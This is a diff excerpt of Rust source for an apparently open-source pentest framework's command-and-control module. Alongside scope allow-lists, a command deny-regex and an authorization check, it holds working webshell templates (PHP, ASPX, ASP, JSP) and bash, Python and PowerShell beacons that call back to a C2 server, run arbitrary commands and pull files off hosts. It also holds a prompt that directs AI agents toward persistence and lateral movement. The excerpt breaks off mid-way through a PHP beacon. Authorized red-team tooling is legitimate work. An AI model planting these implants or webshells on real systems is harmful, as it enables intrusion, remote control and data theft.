||||
//! is explicitly allow-listed;
|
||||
//! * persistence and lateral-movement task types require their own opt-in;
|
||||
//! * every mutation is appended to `<dir>/audit.jsonl`;
|
||||
//! * state and payloads are written with 0600 permissions.
|
||||
//!
|
||||
//! The CLI/MCP/REPL/web console all drive the same local control daemon, so
|
||||
//! there is exactly one implementation of listener sockets, sessions and
|
||||
//! tasks.
|
||||
|
||||
mod client;
|
||||
mod daemon;
|
||||
mod http;
|
||||
mod manager;
|
||||
mod store;
|
||||
mod templates;
|
||||
mod types;
|
||||
|
||||
pub use client::{control_request, ensure_daemon};
|
||||
pub use daemon::run_daemon;
|
||||
pub use manager::C2Manager;
|
||||
pub use types::{
|
||||
C2Policy, C2State, Event, Listener, PayloadRecord, Session, Task, WebshellConnection,
|
||||
};
|
||||
|
||||
use std::fs::File;
|
||||
use std::io::Read;
|
||||
use std::path::PathBuf;
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
|
||||
use base64::Engine as _;
|
||||
use sha2::{Digest, Sha256};
|
||||
|
||||
pub(crate) const STATE_VERSION: u32 = 1;
|
||||
pub(crate) const EVENT_CAP: usize = 1000;
|
||||
pub(crate) const TASK_CAP: usize = 5000;
|
||||
pub(crate) const OUTPUT_CAP: usize = 128 * 1024;
|
||||
pub(crate) const BODY_CAP: usize = 32 * 1024 * 1024;
|
||||
pub(crate) const BEACON_PULL_LIMIT: usize = 16;
|
||||
|
||||
static ID_SEQ: AtomicU64 = AtomicU64::new(1);
|
||||
|
||||
/// Root directory for C2 state. Mirrors the console's `.neurosploit/` layout;
|
||||
/// override with `NEUROSPLOIT_C2_DIR`.
|
||||
pub fn c2_dir() -> PathBuf {
|
||||
if let Ok(p) = std::env::var("NEUROSPLOIT_C2_DIR") {
|
||||
if !p.trim().is_empty() {
|
||||
return PathBuf::from(p);
|
||||
}
|
||||
}
|
||||
std::env::current_dir()
|
||||
.unwrap_or_else(|_| PathBuf::from("."))
|
||||
.join(".neurosploit")
|
||||
.join("c2")
|
||||
}
|
||||
|
||||
pub(crate) fn now_ms() -> i64 {
|
||||
SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.map(|d| d.as_millis() as i64)
|
||||
.unwrap_or(0)
|
||||
}
|
||||
|
||||
pub(crate) fn new_id(prefix: &str) -> String {
|
||||
let n = ID_SEQ.fetch_add(1, Ordering::Relaxed);
|
||||
let t = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos())
|
||||
.unwrap_or(0);
|
||||
format!("{prefix}_{t:x}{n:x}")
|
||||
}
|
||||
|
||||
pub(crate) fn random_token() -> String {
|
||||
let mut bytes = [0u8; 32];
|
||||
let mut ok = false;
|
||||
if let Ok(mut f) = File::open("/dev/urandom") {
|
||||
ok = f.read_exact(&mut bytes).is_ok();
|
||||
}
|
||||
if !ok {
|
||||
let mut h = Sha256::new();
|
||||
h.update(now_ms().to_le_bytes());
|
||||
h.update(std::process::id().to_le_bytes());
|
||||
h.update(ID_SEQ.fetch_add(1, Ordering::Relaxed).to_le_bytes());
|
||||
let d = h.finalize();
|
||||
bytes[..32].copy_from_slice(&d[..32]);
|
||||
}
|
||||
bytes.iter().map(|b| format!("{b:02x}")).collect()
|
||||
}
|
||||
|
||||
pub(crate) fn b64(bytes: &[u8]) -> String {
|
||||
base64::engine::general_purpose::STANDARD.encode(bytes)
|
||||
}
|
||||
|
||||
pub(crate) fn unb64(s: &str) -> Option<Vec<u8>> {
|
||||
base64::engine::general_purpose::STANDARD
|
||||
.decode(s.trim())
|
||||
.ok()
|
||||
}
|
||||
|
||||
pub(crate) fn clip(mut s: String) -> String {
|
||||
if s.len() > OUTPUT_CAP {
|
||||
s.truncate(OUTPUT_CAP);
|
||||
s.push_str("\n[truncated by NeuroSploit C2]");
|
||||
}
|
||||
s
|
||||
}
|
||||
|
||||
/// Post-exploitation doctrine injected into agent prompts when `--c2` is on.
|
||||
/// It explains the *available verbs* and the boundary, so the model plans
|
||||
/// with the same guardrails the daemon enforces.
|
||||
pub fn doctrine() -> &'static str {
|
||||
"C2 / POST-EXPLOITATION (authorized internal engagement, opt-in): a local \
|
||||
NeuroSploit C2 daemon is available for this run. Use it only against hosts in \
|
||||
scope and only on assets you own or are explicitly authorized to test.\n\
|
||||
• Inspect: `neurosploit c2 status --json`; sessions: `neurosploit c2 session list --json`.\n\
|
||||
• Remote command: `neurosploit c2 task exec --session <s_id> --command '<cmd>' --wait --json`.\n\
|
||||
• Persistence (only if allowed): `neurosploit c2 task persist --session <s_id> --method auto --wait --json`.\n\
|
||||
• Lateral movement (only if allowed): `neurosploit c2 task lateral --session <s_id> --command '<cmd>' --wait --json`;\n\
|
||||
reuse credentials/tokens already proven in the engagement, and verify every hop.\n\
|
||||
• Webshells: `neurosploit webshell add ...` then `neurosploit webshell exec --id <ws_id> --command '<cmd>' --json`.\n\
|
||||
• New listeners/payloads: `neurosploit c2 listener list --json`, `neurosploit c2 payload beacon --listener <l_id> --kind bash --json`.\n\
|
||||
Rules: never touch out-of-scope hosts; never run destructive/DoS commands; persistence and \
|
||||
lateral tasks fail unless the operator enabled them; report C2 actions as evidence (task id, \
|
||||
session, output) in findings and the attack graph. Prefer the MCP tools (neurosploit_c2_*, \
|
||||
neurosploit_webshell) when they are available; otherwise the CLI verbs above are equivalent."
|
||||
}
|
||||
|
||||
/// A compact session snapshot for agent prompts. Returns an empty string when
|
||||
/// C2 is disabled or unavailable — C2 must never break a normal run.
|
||||
pub async fn agent_context() -> String {
|
||||
if std::env::var("NEUROSPLOIT_C2").ok().as_deref() != Some("1") {
|
||||
return String::new();
|
||||
}
|
||||
let status = match control_request("GET", "/api/status", None).await {
|
||||
Ok(v) => v,
|
||||
Err(_) => return String::new(),
|
||||
};
|
||||
let enabled = status
|
||||
.pointer("/policy/enabled")
|
||||
.and_then(|v| v.as_bool())
|
||||
.unwrap_or(false);
|
||||
if !enabled {
|
||||
return String::new();
|
||||
}
|
||||
let sessions = status.get("sessions").and_then(|v| v.as_array()).cloned().unwrap_or_default();
|
||||
let active: Vec<String> = sessions
|
||||
.iter()
|
||||
.filter(|s| s.get("status").and_then(|v| v.as_str()) == Some("active"))
|
||||
.take(12)
|
||||
.map(|s| {
|
||||
format!(
|
||||
"- {} @ {} ({}/{}) user={} ip={} sleep={}s",
|
||||
s.get("id").and_then(|v| v.as_str()).unwrap_or("?"),
|
||||
s.get("hostname").and_then(|v| v.as_str()).unwrap_or("?"),
|
||||
s.get("os").and_then(|v| v.as_str()).unwrap_or("?"),
|
||||
s.get("arch").and_then(|v| v.as_str()).unwrap_or("?"),
|
||||
s.get("username").and_then(|v| v.as_str()).unwrap_or("?"),
|
||||
s.get("internal_ip").and_then(|v| v.as_str()).unwrap_or("?"),
|
||||
s.get("sleep_seconds").and_then(|v| v.as_u64()).unwrap_or(0),
|
||||
)
|
||||
})
|
||||
.collect();
|
||||
let webshells = status
|
||||
.get("webshells")
|
||||
.and_then(|v| v.as_array())
|
||||
.map(|a| a.len())
|
||||
.unwrap_or(0);
|
||||
if active.is_empty() && webshells == 0 {
|
||||
format!("\n\nC2 STATUS: enabled, no active sessions yet.\n{}\n", doctrine())
|
||||
} else {
|
||||
format!(
|
||||
"\n\nC2 STATUS: enabled · {} active session(s) · {} webshell connection(s).\n{}\n{}\n",
|
||||
active.len(),
|
||||
webshells,
|
||||
active.join("\n"),
|
||||
doctrine()
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/// CLI entrypoint used by `neurosploit run --c2 ...` to make the daemon and
|
||||
/// policy match the operator's launch flags. Fails closed: a C2 run cannot
|
||||
/// start without an authorization reference.
|
||||
pub async fn bootstrap(
|
||||
authorization: &str,
|
||||
persistence: bool,
|
||||
lateral: bool,
|
||||
allow_public: bool,
|
||||
) -> Result<C2Policy, String> {
|
||||
if authorization.trim().is_empty() {
|
||||
return Err(
|
||||
"--c2 requires an authorization reference: --c2-authorization \"SOW/ticket/URL\"".into(),
|
||||
);
|
||||
}
|
||||
let body = serde_json::json!({
|
||||
"authorization": authorization,
|
||||
"persistence": persistence,
|
||||
"lateral": lateral,
|
||||
"allow_public": allow_public,
|
||||
});
|
||||
let out = control_request("POST", "/api/enable", Some(body)).await?;
|
||||
let policy = out
|
||||
.get("policy")
|
||||
.cloned()
|
||||
.ok_or_else(|| "daemon did not return a policy".to_string())?;
|
||||
serde_json::from_value(policy).map_err(|e| format!("policy decode: {e}"))
|
||||
}
|
||||
@@ -0,0 +1,209 @@
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use serde_json::{json, Value};
|
||||
use tokio::sync::RwLock;
|
||||
|
||||
use super::{C2State, STATE_VERSION};
|
||||
|
||||
pub(crate) struct C2Store {
|
||||
pub(crate) dir: PathBuf,
|
||||
pub(crate) state: RwLock<C2State>,
|
||||
}
|
||||
|
||||
impl C2Store {
|
||||
pub(crate) fn open(dir: &Path) -> std::io::Result<Self> {
|
||||
std::fs::create_dir_all(dir)?;
|
||||
std::fs::create_dir_all(dir.join("payloads"))?;
|
||||
let path = dir.join("state.json");
|
||||
let state = match std::fs::read(&path) {
|
||||
Ok(bytes) => match serde_json::from_slice::<C2State>(&bytes) {
|
||||
Ok(mut s) => {
|
||||
if s.version == 0 {
|
||||
s.version = STATE_VERSION;
|
||||
}
|
||||
s
|
||||
}
|
||||
Err(_) => {
|
||||
let backup = dir.join(format!("state.corrupt-{}.json", super::now_ms()));
|
||||
let _ = std::fs::rename(&path, &backup);
|
||||
C2State::default()
|
||||
}
|
||||
},
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => C2State::default(),
|
||||
Err(e) => return Err(e),
|
||||
};
|
||||
Ok(Self {
|
||||
dir: dir.to_path_buf(),
|
||||
state: RwLock::new(state),
|
||||
})
|
||||
}
|
||||
|
||||
pub(crate) async fn snapshot(&self) -> C2State {
|
||||
self.state.read().await.clone()
|
||||
}
|
||||
|
||||
async fn save_locked(&self, state: &C2State) -> std::io::Result<()> {
|
||||
let bytes = serde_json::to_vec_pretty(state)?;
|
||||
write_private(&self.dir.join("state.json"), &bytes)
|
||||
}
|
||||
|
||||
pub(crate) async fn mutate<R>(&self, f: impl FnOnce(&mut C2State) -> R) -> R {
|
||||
let mut guard = self.state.write().await;
|
||||
let out = f(&mut guard);
|
||||
if let Err(e) = self.save_locked(&guard).await {
|
||||
eprintln!("[c2] could not persist state: {e}");
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
pub(crate) fn audit(&self, action: &str, detail: Value) {
|
||||
let rec = json!({
|
||||
"ts": super::now_ms(),
|
||||
"action": action,
|
||||
"detail": detail,
|
||||
});
|
||||
let line = format!("{rec}\n");
|
||||
let _ = append_private(&self.dir.join("audit.jsonl"), line.as_bytes());
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn write_private(path: &Path, bytes: &[u8]) -> std::io::Result<()> {
|
||||
let tmp = path.with_extension("tmp");
|
||||
{
|
||||
let mut f = std::fs::File::create(&tmp)?;
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let _ = f.set_permissions(std::fs::Permissions::from_mode(0o600));
|
||||
}
|
||||
f.write_all(bytes)?;
|
||||
f.sync_all()?;
|
||||
}
|
||||
if path.exists() {
|
||||
let _ = std::fs::remove_file(path);
|
||||
}
|
||||
std::fs::rename(&tmp, path)
|
||||
}
|
||||
|
||||
fn append_private(path: &Path, bytes: &[u8]) -> std::io::Result<()> {
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.create(true).append(true);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
opts.mode(0o600);
|
||||
}
|
||||
let mut f = opts.open(path)?;
|
||||
f.write_all(bytes)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Scope / guardrails
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub(crate) fn host_matches_allowlist(host: &str, patterns: &[String]) -> bool {
|
||||
let h = host.trim().trim_end_matches('.').to_ascii_lowercase();
|
||||
patterns.iter().any(|p| {
|
||||
let p = p.trim().trim_end_matches('.').to_ascii_lowercase();
|
||||
if p.is_empty() {
|
||||
return false;
|
||||
}
|
||||
if let Some(suffix) = p.strip_prefix("*.") {
|
||||
return h == suffix || h.ends_with(&format!(".{suffix}"));
|
||||
}
|
||||
if let Some(suffix) = p.strip_prefix('.') {
|
||||
return h == suffix || h.ends_with(&format!(".{suffix}"));
|
||||
}
|
||||
h == p
|
||||
})
|
||||
}
|
||||
|
||||
pub(crate) fn private_ip(ip: IpAddr) -> bool {
|
||||
match ip {
|
||||
IpAddr::V4(v4) => {
|
||||
v4.is_loopback()
|
||||
|| v4.is_private()
|
||||
|| v4.is_link_local()
|
||||
|| (v4.octets()[0] == 100 && (64..=127).contains(&v4.octets()[1]))
|
||||
}
|
||||
IpAddr::V6(v6) => {
|
||||
v6.is_loopback()
|
||||
|| (v6.segments()[0] & 0xfe00) == 0xfc00
|
||||
|| (v6.segments()[0] & 0xffc0) == 0xfe80
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) async fn host_is_internal(host: &str) -> bool {
|
||||
let h = host.trim().to_ascii_lowercase();
|
||||
if h == "localhost" || h.ends_with(".localhost") {
|
||||
return true;
|
||||
}
|
||||
if let Ok(ip) = h.parse::<IpAddr>() {
|
||||
return private_ip(ip);
|
||||
}
|
||||
match tokio::net::lookup_host(format!("{h}:80")).await {
|
||||
Ok(addrs) => {
|
||||
let mut any = false;
|
||||
for a in addrs {
|
||||
any = true;
|
||||
if !private_ip(a.ip()) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
any
|
||||
}
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn host_of_url(url: &str) -> Option<String> {
|
||||
let u = reqwest::Url::parse(url).ok()?;
|
||||
if u.scheme() != "http" && u.scheme() != "https" {
|
||||
return None;
|
||||
}
|
||||
u.host_str().map(|s| s.to_string())
|
||||
}
|
||||
|
||||
pub(crate) async fn ensure_target_allowed(state: &C2State, url_or_host: &str) -> Result<String, String> {
|
||||
if !state.policy.enabled {
|
||||
return Err(
|
||||
"C2/WebShell is disabled — enable it explicitly first: neurosploit c2 enable --authorization <ref>"
|
||||
.into(),
|
||||
);
|
||||
}
|
||||
let host = if url_or_host.contains("://") {
|
||||
host_of_url(url_or_host).ok_or_else(|| "invalid URL (only http/https)".to_string())?
|
||||
} else {
|
||||
url_or_host.trim().to_string()
|
||||
};
|
||||
if host.is_empty() {
|
||||
return Err("target host is empty".into());
|
||||
}
|
||||
if host_matches_allowlist(&host, &state.policy.allowed_hosts) {
|
||||
return Ok(host);
|
||||
}
|
||||
if state.policy.allow_public_targets {
|
||||
return Ok(host);
|
||||
}
|
||||
if host_is_internal(&host).await {
|
||||
return Ok(host);
|
||||
}
|
||||
Err(format!(
|
||||
"host '{host}' is not internal and not in the C2 allow-list — add it with `neurosploit c2 enable --host {host}` (or `--allow-public` for an explicitly authorized external target)"
|
||||
))
|
||||
}
|
||||
|
||||
pub(crate) fn check_command(state: &C2State, command: &str) -> Result<(), String> {
|
||||
for pat in &state.policy.command_deny_regex {
|
||||
if let Ok(re) = regex::Regex::new(pat) {
|
||||
if re.is_match(command) {
|
||||
return Err(format!("command denied by OPSEC rule: {pat}"));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,411 @@
|
||||
//! Payload and command templates used by the C2 daemon and the WebShell
|
||||
//! manager. Nothing here executes anything; the strings are returned to the
|
||||
//! operator/agent and only run on the target when explicitly dispatched.
|
||||
|
||||
use crate::c2::types::{Listener, Session};
|
||||
use crate::c2::{b64, random_token};
|
||||
|
||||
pub(crate) fn payload_php_webshell(password: &str, pass_param: &str, cmd_param: &str) -> String {
|
||||
format!(
|
||||
"<?php\n/* NeuroSploit WebShell — authorized engagements only */\n$pass_name = {p};\n$secret = {s};\n$cmd_name = {c};\nif ((($_POST[$pass_name] ?? $_GET[$pass_name] ?? '') === $secret)) {{\n $c = $_POST[$cmd_name] ?? $_GET[$cmd_name] ?? '';\n if ($c !== '') {{ passthru($c); }}\n}}\n?>\n",
|
||||
p = php_str(pass_param),
|
||||
s = php_str(password),
|
||||
c = php_str(cmd_param)
|
||||
)
|
||||
}
|
||||
|
||||
fn php_str(s: &str) -> String {
|
||||
format!("'{}'", s.replace('\\', "\\\\").replace('\'', "\\'"))
|
||||
}
|
||||
|
||||
pub(crate) fn payload_aspx_webshell(password: &str, pass_param: &str, cmd_param: &str) -> String {
|
||||
format!(
|
||||
"<%@ Page Language=\"C#\" %><%\n/* NeuroSploit WebShell — authorized engagements only */\nstring p = Request.Form[\"{pp}\"] ?? Request.QueryString[\"{pp}\"];\nstring c = Request.Form[\"{cp}\"] ?? Request.QueryString[\"{cp}\"];\nif (p == \"{pw}\" && !string.IsNullOrEmpty(c)) {{\n var psi = new System.Diagnostics.ProcessStartInfo(\"cmd.exe\", \"/c \" + c);\n psi.RedirectStandardOutput = true; psi.UseShellExecute = false;\n var proc = System.Diagnostics.Process.Start(psi);\n Response.Write(proc.StandardOutput.ReadToEnd());\n}}\n%>",
|
||||
pp = pass_param,
|
||||
cp = cmd_param,
|
||||
pw = password
|
||||
)
|
||||
}
|
||||
|
||||
pub(crate) fn payload_asp_webshell(password: &str, pass_param: &str, cmd_param: &str) -> String {
|
||||
format!(
|
||||
"<%\n' NeuroSploit WebShell — authorized engagements only\nIf Request(\"{pp}\") = \"{pw}\" Then\n Dim c, sh, o\n c = Request(\"{cp}\")\n If Len(c) > 0 Then\n Set sh = Server.CreateObject(\"WScript.Shell\")\n Set o = sh.Exec(\"cmd.exe /c \" & c)\n Response.Write(o.StdOut.ReadAll())\n End If\nEnd If\n%>",
|
||||
pp = pass_param,
|
||||
cp = cmd_param,
|
||||
pw = password
|
||||
)
|
||||
}
|
||||
|
||||
pub(crate) fn payload_jsp_webshell(password: &str, pass_param: &str, cmd_param: &str) -> String {
|
||||
format!(
|
||||
"<%@ page import=\"java.io.*\" %>\n<%-- NeuroSploit WebShell — authorized engagements only --%>\n<% if (\"{pw}\".equals(request.getParameter(\"{pp}\"))) {{\n String c = request.getParameter(\"{cp}\");\n if (c != null && c.length() > 0) {{\n Process p = Runtime.getRuntime().exec(new String[]{{\"/bin/sh\",\"-c\",c}});\n BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));\n String l;\n while ((l = r.readLine()) != null) {{ out.println(l); }}\n }}\n}} %>",
|
||||
pp = pass_param,
|
||||
cp = cmd_param,
|
||||
pw = password
|
||||
)
|
||||
}
|
||||
|
||||
pub(crate) fn payload_bash_beacon(base: &str, token: &str, sleep_s: u32, jitter: u32) -> String {
|
||||
let tpl = r#"#!/usr/bin/env bash
|
||||
# NeuroSploit C2 beacon (HTTP) — authorized engagements only.
|
||||
# Checks in, pulls tasks, executes them, reports results. No JSON parser needed.
|
||||
BASE='@BASE@'; TOKEN='@TOKEN@'; UUID='@UUID@'; SLEEP=@SLEEP@; JITTER=@JITTER@
|
||||
report() {
|
||||
curl -fsSk --max-time 20 -H "X-Implant-Token: $TOKEN" -X POST "$BASE/api/beacon" \
|
||||
--data-urlencode "uuid=$UUID" --data-urlencode "result_task_id=$1" \
|
||||
--data-urlencode "result_success=$2" --data-urlencode "result_output_b64=$3" >/dev/null 2>&1
|
||||
}
|
||||
while :; do
|
||||
BODY="uuid=$UUID&hostname=$(hostname 2>/dev/null||echo unknown)&username=$(whoami 2>/dev/null||echo unknown)"
|
||||
BODY="$BODY&os=$(uname -s 2>/dev/null||echo unknown)&arch=$(uname -m 2>/dev/null||echo unknown)&pid=$$&sleep_seconds=$SLEEP&jitter_percent=$JITTER"
|
||||
R=$(curl -fsSk --max-time 30 -H "X-Implant-Token: $TOKEN" -X POST "$BASE/api/beacon?format=sh" --data "$BODY") || { sleep "$SLEEP"; continue; }
|
||||
NS=$(printf '%s\n' "$R" | sed -n 's/^SLEEP=//p'); [ -n "$NS" ] && SLEEP=$NS
|
||||
printf '%s\n' "$R" | while read -r tag tid ttype tdata; do
|
||||
[ "$tag" = "TASK" ] || continue
|
||||
payload=$(printf '%s' "$tdata" | base64 -d 2>/dev/null)
|
||||
case "$ttype" in
|
||||
exec|lateral|persist)
|
||||
cmd=$(printf '%s' "$payload" | sed -n 's/.*"command": *"\([^"]*\)".*/\1/p')
|
||||
out=$(eval "$cmd" 2>&1); rc=$?
|
||||
report "$tid" "$([ $rc -eq 0 ] && echo 1 || echo 0)" "$(printf '%s' "$out" | base64 -w0 2>/dev/null || printf '%s' "$out" | base64 | tr -d '\n')"
|
||||
;;
|
||||
sleep)
|
||||
NS2=$(printf '%s' "$payload" | sed -n 's/.*"seconds": *\([0-9]*\).*/\1/p'); [ -n "$NS2" ] && SLEEP=$NS2
|
||||
report "$tid" 1 ""
|
||||
;;
|
||||
upload)
|
||||
p=$(printf '%s' "$payload" | sed -n 's/.*"path": *"\([^"]*\)".*/\1/p')
|
||||
d=$(printf '%s' "$payload" | sed -n 's/.*"content_b64": *"\([^"]*\)".*/\1/p')
|
||||
if [ -n "$p" ] && [ -n "$d" ]; then printf '%s' "$d" | base64 -d > "$p" && report "$tid" 1 "wrote $p" || report "$tid" 0 "write failed"; else report "$tid" 0 "bad upload payload"; fi
|
||||
;;
|
||||
download)
|
||||
p=$(printf '%s' "$payload" | sed -n 's/.*"path": *"\([^"]*\)".*/\1/p')
|
||||
if [ -r "$p" ]; then d=$(base64 -w0 "$p" 2>/dev/null || base64 "$p" | tr -d '\n'); report "$tid" 1 "$d"; else report "$tid" 0 "cannot read $p"; fi
|
||||
;;
|
||||
exit) report "$tid" 1 "bye"; exit 0 ;;
|
||||
*) report "$tid" 0 "unsupported task $ttype" ;;
|
||||
esac
|
||||
done
|
||||
sleep "$SLEEP"
|
||||
done
|
||||
"#;
|
||||
tpl.replace("@BASE@", base)
|
||||
.replace("@TOKEN@", token)
|
||||
.replace("@UUID@", &random_token()[..16])
|
||||
.replace("@SLEEP@", &sleep_s.max(1).to_string())
|
||||
.replace("@JITTER@", &jitter.min(100).to_string())
|
||||
}
|
||||
|
||||
pub(crate) fn payload_python_beacon(base: &str, token: &str, sleep_s: u32, jitter: u32) -> String {
|
||||
let tpl = r#"#!/usr/bin/env python3
|
||||
# NeuroSploit C2 beacon (HTTP) — authorized engagements only.
|
||||
import base64, json, os, platform, socket, subprocess, sys, time, urllib.request
|
||||
|
||||
BASE = "@BASE@"
|
||||
TOKEN = "@TOKEN@"
|
||||
UUID = "@UUID@"
|
||||
SLEEP = @SLEEP@
|
||||
JITTER = @JITTER@
|
||||
CWD = os.getcwd()
|
||||
|
||||
def post(payload):
|
||||
data = json.dumps(payload).encode()
|
||||
req = urllib.request.Request(BASE + "/api/beacon", data=data, method="POST",
|
||||
headers={"Content-Type": "application/json", "X-Implant-Token": TOKEN})
|
||||
with urllib.request.urlopen(req, timeout=30) as r:
|
||||
return json.loads(r.read().decode() or "{}")
|
||||
|
||||
def report(tid, ok, output="", error=""):
|
||||
try:
|
||||
post({"uuid": UUID, "results": [{"task_id": tid, "success": ok, "output": output, "error": error}]})
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def run(cmd):
|
||||
global CWD
|
||||
try:
|
||||
p = subprocess.run(cmd, shell=True, cwd=CWD, capture_output=True, timeout=600)
|
||||
return p.returncode == 0, (p.stdout + p.stderr).decode("utf-8", "replace")
|
||||
except Exception as e:
|
||||
return False, str(e)
|
||||
|
||||
info = {
|
||||
"uuid": UUID,
|
||||
"hostname": socket.gethostname(),
|
||||
"username": os.getenv("USER") or os.getenv("USERNAME") or "unknown",
|
||||
"os": platform.system(),
|
||||
"arch": platform.machine(),
|
||||
"pid": os.getpid(),
|
||||
"process_name": sys.argv[0],
|
||||
"internal_ip": socket.gethostbyname(socket.gethostname()) if platform.system() != "Windows" else "",
|
||||
"sleep_seconds": SLEEP,
|
||||
"jitter_percent": JITTER,
|
||||
}
|
||||
while True:
|
||||
try:
|
||||
resp = post(info)
|
||||
except Exception:
|
||||
time.sleep(SLEEP); continue
|
||||
SLEEP = int(resp.get("next_sleep") or SLEEP)
|
||||
for t in resp.get("tasks") or []:
|
||||
tid, ttype, payload = t.get("task_id"), t.get("task_type"), t.get("payload") or {}
|
||||
try:
|
||||
if ttype in ("exec", "lateral", "persist"):
|
||||
ok, out = run(payload.get("command", ""))
|
||||
report(tid, ok, out)
|
||||
elif ttype == "pwd":
|
||||
report(tid, True, CWD)
|
||||
elif ttype == "ls":
|
||||
p = payload.get("path") or CWD
|
||||
ok, out = run(("ls -la -- " + p) if platform.system() != "Windows" else ("dir /a " + p))
|
||||
report(tid, ok, out)
|
||||
elif ttype == "cd":
|
||||
p = payload.get("path") or "."
|
||||
try:
|
||||
os.chdir(p); CWD = os.getcwd(); report(tid, True, CWD)
|
||||
except Exception as e:
|
||||
report(tid, False, str(e))
|
||||
elif ttype == "ps":
|
||||
ok, out = run("ps aux" if platform.system() != "Windows" else "tasklist")
|
||||
report(tid, ok, out)
|
||||
elif ttype == "sleep":
|
||||
SLEEP = int(payload.get("seconds") or SLEEP); report(tid, True, "")
|
||||
elif ttype == "upload":
|
||||
try:
|
||||
with open(payload.get("path"), "wb") as f:
|
||||
f.write(base64.b64decode(payload.get("content_b64") or ""))
|
||||
report(tid, True, "wrote " + str(payload.get("path")))
|
||||
except Exception as e:
|
||||
report(tid, False, str(e))
|
||||
elif ttype == "download":
|
||||
try:
|
||||
with open(payload.get("path"), "rb") as f:
|
||||
report(tid, True, base64.b64encode(f.read()).decode())
|
||||
except Exception as e:
|
||||
report(tid, False, str(e))
|
||||
elif ttype == "exit":
|
||||
report(tid, True, "bye"); sys.exit(0)
|
||||
else:
|
||||
report(tid, False, "unsupported task " + str(ttype))
|
||||
except Exception as e:
|
||||
report(tid, False, "", str(e))
|
||||
time.sleep(SLEEP)
|
||||
"#;
|
||||
tpl.replace("@BASE@", base)
|
||||
.replace("@TOKEN@", token)
|
||||
.replace("@UUID@", &random_token()[..16])
|
||||
.replace("@SLEEP@", &sleep_s.max(1).to_string())
|
||||
.replace("@JITTER@", &jitter.min(100).to_string())
|
||||
}
|
||||
|
||||
pub(crate) fn payload_powershell_beacon(
|
||||
base: &str,
|
||||
token: &str,
|
||||
sleep_s: u32,
|
||||
jitter: u32,
|
||||
) -> String {
|
||||
let tpl = r#"# NeuroSploit C2 beacon (HTTP) — authorized engagements only.
|
||||
$Base='@BASE@'; $Token='@TOKEN@'; $Uuid='@UUID@'; $Sleep=@SLEEP@
|
||||
function Send($body) {
|
||||
try { return Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$Base/api/beacon" -Headers @{ 'X-Implant-Token'=$Token } -ContentType 'application/json' -Body ($body | ConvertTo-Json -Depth 6 -Compress) } catch { return $null }
|
||||
}
|
||||
function Report($tid,$ok,$out) { $null = Send @{ uuid=$Uuid; results=@(@{ task_id=$tid; success=$ok; output=$out }) } }
|
||||
while ($true) {
|
||||
$body = @{ uuid=$Uuid; hostname=$env:COMPUTERNAME; username=$env:USERNAME; os='Windows'; arch=$env:PROCESSOR_ARCHITECTURE; pid=$PID; internal_ip=''; sleep_seconds=$Sleep }
|
||||
$r = Send $body
|
||||
if ($r) {
|
||||
if ($r.next_sleep) { $Sleep = [int]$r.next_sleep }
|
||||
foreach ($t in @($r.tasks)) {
|
||||
$tid=$t.task_id; $type=$t.task_type; $p=$t.payload
|
||||
if ($type -eq 'exec' -or $type -eq 'lateral' -or $type -eq 'persist') {
|
||||
$out = & cmd.exe /c $p.command 2>&1 | Out-String; Report $tid ($LASTEXITCODE -eq 0) $out
|
||||
} elseif ($type -eq 'pwd') { Report $tid $true (Get-Location).Path }
|
||||
elseif ($type -eq 'ls') { $out = Get-ChildItem -Force -Path ($(if ($p.path) { $p.path } else { '.' })) | Out-String; Report $tid $true $out }
|
||||
elseif ($type -eq 'cd') { try { Set-Location $p.path; Report $tid $true (Get-Location).Path } catch { Report $tid $false $_.Exception.Message } }
|
||||
elseif ($type -eq 'ps') { Report $tid $true (Get-Process | Out-String) }
|
||||
elseif ($type -eq 'upload') { try { [IO.File]::WriteAllBytes($p.path, [Convert]::FromBase64String($p.content_b64)); Report $tid $true 'ok' } catch { Report $tid $false $_.Exception.Message } }
|
||||
elseif ($type -eq 'download') { try { Report $tid $true ([Convert]::ToBase64String([IO.File]::ReadAllBytes($p.path))) } catch { Report $tid $false $_.Exception.Message } }
|
||||
elseif ($type -eq 'sleep') { $Sleep=[int]$p.seconds; Report $tid $true '' }
|
||||
elseif ($type -eq 'exit') { Report $tid $true 'bye'; exit }
|
||||
else { Report $tid $false 'unsupported' }
|
||||
}
|
||||
}
|
||||
Start-Sleep -Seconds $Sleep
|
||||
}
|
||||
"#;
|
||||
tpl.replace("@BASE@", base)
|
||||
.replace("@TOKEN@", token)
|
||||
.replace("@UUID@", &random_token()[..16])
|
||||
.replace("@SLEEP@", &sleep_s.max(1).to_string())
|
||||
.replace("@JITTER@", &jitter.min(100).to_string())
|
||||
}
|
||||
|
||||
pub(crate) fn payload_php_beacon(base: &str, token: &str, sleep_s: u32, jitter: u32) -> String {
|
||||
let tpl = r#"<?php
|
||||
/* NeuroSploit C2 beacon (HTTP, PHP) — authorized engagements only. */
|
||||
$base='@BASE@'; $token='@TOKEN@'; $uuid='@UUID@'; $sleep=@SLEEP@;
|
||||
function post($url,$token,$data){
|
||||
